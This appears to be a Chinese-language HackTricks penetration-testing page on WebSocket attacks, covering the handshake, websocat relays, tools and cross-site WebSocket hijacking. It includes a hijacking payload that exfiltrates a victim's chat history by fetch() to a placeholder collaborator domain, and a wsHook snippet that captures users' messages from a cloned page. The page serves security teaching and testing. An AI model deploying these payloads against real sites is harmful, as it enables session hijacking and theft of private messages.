> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/websocket-attacks.md).

# WebSocket Attacks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 什么是 WebSockets

WebSocket 连接是通过初始的 **HTTP** 握手建立的，并且被设计为**长期存在**，允许在任何时候进行双向消息传递，无需事务系统。这使得 WebSockets 特别适用于需要**低延迟或服务器发起的通信**的应用，比如实时金融数据流。

### 建立 WebSocket 连接

有关建立 WebSocket 连接的详细说明，请访问[**此处**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)。简而言之，WebSocket 连接通常是通过客户端 JavaScript 发起的，如下所示：

```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```

`wss` 协议表示通过 **TLS** 加密的 WebSocket 连接，而 `ws` 表示一个**未加密**的连接。

在建立连接时，浏览器和服务器之间会通过 HTTP 执行握手。握手过程涉及浏览器发送请求，服务器做出响应，如下例所示：

浏览器发送握手请求：

```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

服务器的握手响应：

```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

**WebSocket握手的关键点：**

* `Connection`和`Upgrade`头部信号启动WebSocket握手。
* `Sec-WebSocket-Version`头部指示所需的WebSocket协议版本，通常为`13`。
* 在`Sec-WebSocket-Key`头部中发送一个Base64编码的随机值，确保每次握手都是独一无二的，有助于防止缓存代理出现问题。这个值不是用于身份验证，而是用于确认响应不是由配置错误的服务器或缓存生成的。
* 服务器响应中的`Sec-WebSocket-Accept`头部是`Sec-WebSocket-Key`的哈希值，验证服务器打算打开WebSocket连接的意图。

这些特性确保握手过程安全可靠，为高效的实时通信铺平道路。

```bash
websocat --insecure wss://10.10.10.10:8000 -v
```

或者创建一个websocat服务器：

```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```

### 中间人攻击 websocket 连接

如果发现客户端从当前本地网络连接到一个 **HTTP websocket**，你可以尝试进行 [ARP Spoofing 攻击](/generic-methodologies-and-resources/pentesting-network.md#arp-spoofing) 来在客户端和服务器之间执行中间人攻击。\
一旦客户端尝试连接到你，你可以使用：

```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```

### Websockets枚举

您可以使用**工具**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)**自动发现、指纹识别和搜索websockets中已知的**漏洞。

### Websocket调试工具

* **Burp Suite**支持MitM方式拦截websockets通信，与拦截常规HTTP通信的方式非常相似。
* [**socketsleuth**](https://github.com/snyk/socketsleuth)**Burp Suite扩展**将允许您通过获取**历史记录**、设置**拦截规则**、使用**匹配和替换**规则、使用**Intruder**和**AutoRepeater**更好地管理Burp中的Websocket通信。
* [**WSSiP**](https://github.com/nccgroup/wssip)**：简称“WebSocket/Socket.io代理”，这个用Node.js编写的工具提供了一个用户界面，用于捕获、拦截、发送自定义**消息，并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
* [**wsrepl**](https://github.com/doyensec/wsrepl)是一个专为渗透测试设计的**交互式websocket REPL**。它提供了一个界面，用于观察**传入的websocket消息并发送新消息**，并提供了一个易于使用的框架来**自动化**这种通信。
* [**https://websocketking.com/**](https://websocketking.com/)是一个用于使用**websockets**与其他网站进行通信的**网站**。
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)除了其他类型的通信/协议外，它还提供了一个用于使用**websockets**与其他网站进行通信的**网站**。

## Websocket实验室

在[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)中，您可以找到一个使用websockets启动web的代码，在[**此文章**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)中可以找到解释。

## 跨站点WebSocket劫持（CSWSH）

**跨站点WebSocket劫持**，也称为**跨源WebSocket劫持**，被确定为影响WebSocket握手的特定\*\*[跨站点请求伪造（CSRF）](/pentesting-web/csrf-cross-site-request-forgery.md)**的一种情况。当WebSocket握手仅通过**HTTP cookie**进行身份验证而没有**CSRF令牌\*\*或类似的安全措施时，就会出现此漏洞。

攻击者可以利用这一点，托管一个**恶意网页**，该网页发起与易受攻击应用程序的跨站WebSocket连接。因此，此连接被视为受害者与应用程序会话的一部分，利用会话处理机制中缺乏CSRF保护。

### 简单攻击

请注意，在**建立\*\*\*\*websocket**连接时，**cookie**会**发送**到服务器。**服务器**可能会使用它来**关联**每个**特定**的**用户**与其基于发送cookie的**websocket**会话。

然后，例如，如果**websocket** **服务器**在发送包含“**READY**”消息的情况下返回用户的对话**历史记录**，那么通过**简单的XSS**建立连接（**cookie**将被**自动发送**以授权受害者用户），**发送**“**READY**”将能够**检索**对话的**历史记录**。

```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

### 跨域 + 具有不同子域的 Cookie

在这篇博文<https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/>中，攻击者成功在进行 Websocket 通信的域的**子域**中**执行任意 JavaScript**。由于它是一个**子域**，**cookie**被**发送**，并且由于**Websocket 没有正确检查来源**，因此可以与其通信并**从中窃取令牌**。

### 从用户那里窃取数据

复制您想要冒充的 Web 应用程序（例如 .html 文件），并在进行 Websocket 通信的脚本中添加此代码：

```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```

现在从<https://github.com/skepticfx/wshook>下载`wsHook.js`文件，并**将其保存在包含网页文件的文件夹中**。\
暴露网页应用程序并让用户连接到它，您将能够通过websocket窃取发送和接收的消息：

```javascript
sudo python3 -m http.server 80
```

## 竞争条件

WebSockets中的竞争条件也是一个问题，[查看此信息以了解更多](/pentesting-web/race-condition.md#rc-in-websockets)。

## 其他漏洞

由于WebSockets是一种将数据发送到服务器端和客户端的机制，取决于服务器和客户端如何处理信息，WebSockets可以被用来利用其他几种漏洞，如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。

## **WebSocket劫持**

这种漏洞可能允许您通过让反向代理认为已建立了WebSocket通信（即使事实并非如此）来**绕过反向代理的限制**。这可能允许攻击者**访问隐藏的端点**。有关更多信息，请查看以下页面：

{% content-ref url="/pages/OLNJx4j6bzqIBBezjQV5" %}
[Upgrade Header Smuggling](/pentesting-web/h2c-smuggling.md)
{% endcontent-ref %}

## 参考资料

* <https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)上**关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>
